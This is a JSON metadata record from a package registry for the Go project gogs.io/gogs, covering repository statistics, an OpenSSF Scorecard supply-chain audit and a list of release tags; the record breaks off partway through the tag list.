[{"id":3558738,"name":"gogs.io/gogs","ecosystem":"go","description":"Gogs is a painless self-hosted Git Service.","homepage":"https://github.com/gogs/gogs","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/gogs/gogs","keywords_array":[],"namespace":"gogs.io","versions_count":80,"first_release_published_at":"2014-03-31T11:57:51.000Z","latest_release_published_at":"2025-06-08T22:55:56.000Z","latest_release_number":"v0.13.3","last_synced_at":"2026-09-02T16:19:37.658Z","created_at":"2022-04-11T01:47:48.250Z","updated_at":"2026-09-03T09:00:35.919Z","registry_url":"https://pkg.go.dev/gogs.io/gogs","install_command":"go get gogs.io/gogs","documentation_url":"https://pkg.go.dev/gogs.io/gogs#section-documentation","metadata":{},"repo_metadata":{"id":14049846,"uuid":"16752620","full_name":"gogs/gogs","owner":"gogs","description":"The painless way to host your own Git service","archived":false,"fork":false,"pushed_at":"2026-08-22T21:32:23.000Z","size":212345,"stargazers_count":47767,"open_issues_count":1008,"forks_count":5075,"subscribers_count":1008,"default_branch":"main","last_synced_at":"2026-08-25T13:29:48.260Z","etag":null,"topics":["docker","git","go","gogs","mysql","postgresql","raspberry-pi","self-hosted","source-code-management","sqlite3","version-control"],"latest_commit_sha":null,"homepage":"https://gogs.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/gogs.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":".github/CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2014-02-12T01:57:08.000Z","updated_at":"2026-08-25T13:21:43.000Z","dependencies_parsed_at":"2026-08-25T13:39:54.578Z","dependency_job_id":null,"html_url":"https://github.com/gogs/gogs","commit_stats":{"total_commits":4989,"total_committers":561,"mean_commits":8.893048128342246,"dds":0.5403888554820606,"last_synced_commit":"79bda9df35b841d40b49a670491df15b9661712b"},"previous_names":["gogits/gogs"],"tags_count":98,"template":false,"template_full_name":null,"purl":"pkg:github/gogs/gogs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gogs","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/sbom","scorecard":{"id":433968,"data":{"date":"2025-08-11","repo":{"name":"github.com/gogs/gogs","commit":"37962fcc0bc404b1ac12301165899162005b257c"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.3,"checks":[{"name":"Code-Review","score":1,"reason":"Found 1/8 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"20 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":8,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: jobLevel 'actions' permission set to 'write': .github/workflows/docker.yml:23","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker.yml:24","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker.yml:96","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/docker.yml:136","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker.yml:137","Info: jobLevel 'contents' permission set to 'read': .github/workflows/go.yml:27","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/go.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/codeql.yml:24","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/codeql.yml:25","Warn: no topLevel permission defined: .github/workflows/docker.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/go.yml:22","Info: topLevel 'contents' permission set to 'read': .github/workflows/shell.yml:8"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: public/plugins/pdfjs-5.2.133/web/wasm/openjpeg.wasm:1","Warn: binary detected: public/plugins/pdfjs-5.2.133/web/wasm/qcms_bg.wasm:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v0.13.3 not signed: https://api.github.com/repos/gogs/gogs/releases/223892467","Warn: release artifact v0.13.2 not signed: https://api.github.com/repos/gogs/gogs/releases/192133957","Warn: release artifact v0.13.3 does not have provenance: https://api.github.com/repos/gogs/gogs/releases/223892467","Warn: release artifact v0.13.2 does not have provenance: https://api.github.com/repos/gogs/gogs/releases/192133957"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/docker.yml:16"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker.yml:99: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:118: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:126: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:145: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:150: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:159: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:179: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:82: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:111: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:122: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:159: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:185: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:187: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:208: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:210: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/lock.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/lock.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/shell.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/shell.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/shell.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/shell.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:1","Warn: containerImage not pinned by hash: Dockerfile:14: pin your Docker image by updating alpine:3.21 to alpine:3.21@sha256:b6a6be0ff92ab6db8acd94f5d1b7a6c2f0f5d10ce3c24af348d333ac6da80685","Info:   0 out of  20 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  26 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 26 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-19T04:08:24.040Z","repository_id":14049846,"created_at":"2025-08-19T04:08:24.040Z","updated_at":"2025-08-19T04:08:24.040Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36947242,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-27T02:00:07.166Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"gogs","name":"Gogs","uuid":"6656686","kind":"organization","description":"A painless self-hosted Git service","email":null,"website":"https://gogs.io","location":"Wildest Dream","twitter":"GogsHQ","company":null,"icon_url":"https://avatars.githubusercontent.com/u/6656686?v=4","repositories_count":16,"last_synced_at":"2024-04-28T02:56:38.998Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/gogs","funding_links":[],"total_stars":45026,"followers":211,"following":0,"created_at":"2022-11-07T04:51:04.809Z","updated_at":"2024-04-28T02:56:42.027Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gogs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gogs/repositories"},"tags":[{"name":"latest-commit-build","sha":"b925c222959e57f3c403aebb6122fede6a1f35da","kind":"commit","published_at":"2026-08-22T21:31:37.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/latest-commit-build","html_url":"https://github.com/gogs/gogs/releases/tag/latest-commit-build","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@latest-commit-build","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/latest-commit-build","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/latest-commit-build/manifests"},{"name":"v0.14.3","sha":"3ba8aca90e17e5410b7e8b227c9f29256ac3e875","kind":"commit","published_at":"2026-06-07T17:48:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3/manifests"},{"name":"v0.14.3-rc.1","sha":"3ba8aca90e17e5410b7e8b227c9f29256ac3e875","kind":"commit","published_at":"2026-06-07T17:48:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.3-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.3-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.3-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3-rc.1/manifests"},{"name":"release-archive-testing","sha":"3eb932848591243a9f0278cd9060f6b32d6d4a25","kind":"commit","published_at":"2026-05-25T02:46:34.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/release-archive-testing","html_url":"https://github.com/gogs/gogs/releases/tag/release-archive-testing","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@release-archive-testing","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/release-archive-testing","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/release-archive-testing/manifests"},{"name":"v0.14.2","sha":"5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb","kind":"commit","published_at":"2026-02-19T00:23:48.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2/manifests"},{"name":"v0.14.2-rc.1","sha":"5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb","kind":"commit","published_at":"2026-02-19T00:23:48.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.2-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.2-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.2-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2-rc.1/manifests"},{"name":"v0.14.1","sha":"f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f","kind":"commit","published_at":"2026-02-01T03:28:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1/manifests"},{"name":"v0.14.1-rc.1","sha":"f5c8030c1fd936f3e0e9f774e3c7c39fd102f56f","kind":"commit","published_at":"2026-02-01T03:28:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.1-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.1-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.1-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.1-rc.1/manifests"},{"name":"v0.14.0","sha":"36c26c4ccc3ca0339db53eb1fa41e4e86b55163d","kind":"commit","published_at":"2026-01-31T21:32:58.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0/manifests"},{"name":"v0.14.0-rc.1","sha":"36c26c4ccc3ca0339db53eb1fa41e4e86b55163d","kind":"commit","published_at":"2026-01-31T21:32:58.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.0-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.0-rc.1/manifests"},{"name":"v0.13.4","sha":"d958a47a0e9d8747e399c687fdb3ec64a3b1a736","kind":"commit","published_at":"2026-01-23T17:38:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4/manifests"},{"name":"v0.13.4-rc.3","sha":"d958a47a0e9d8747e399c687fdb3ec64a3b1a736","kind":"commit","published_at":"2026-01-23T17:38:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4-rc.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.3/manifests"},{"name":"v0.13.4-rc.2","sha":"282f3c0c70cd30e5b010f96839b12a30b202f4d6","kind":"commit","published_at":"2026-01-23T17:35:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4-rc.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.2/manifests"},{"name":"v0.13.4-rc.1","sha":"89ad16f9b390f8bbb03b3a3627cc0ccb7df8c648","kind":"commit","published_at":"2026-01-23T17:28:00.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.4-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.4-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.4-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.4-rc.1/manifests"},{"name":"v0.13.3","sha":"5084b4a9b77a506f5e287e82e945e1c6882b827a","kind":"commit","published_at":"2025-06-08T22:55:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3/manifests"},{"name":"v0.13.3-rc.1","sha":"5084b4a9b77a506f5e287e82e945e1c6882b827a","kind":"commit","published_at":"2025-06-08T22:55:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.13.3-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.13.3-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.13.3-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.13.3-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/G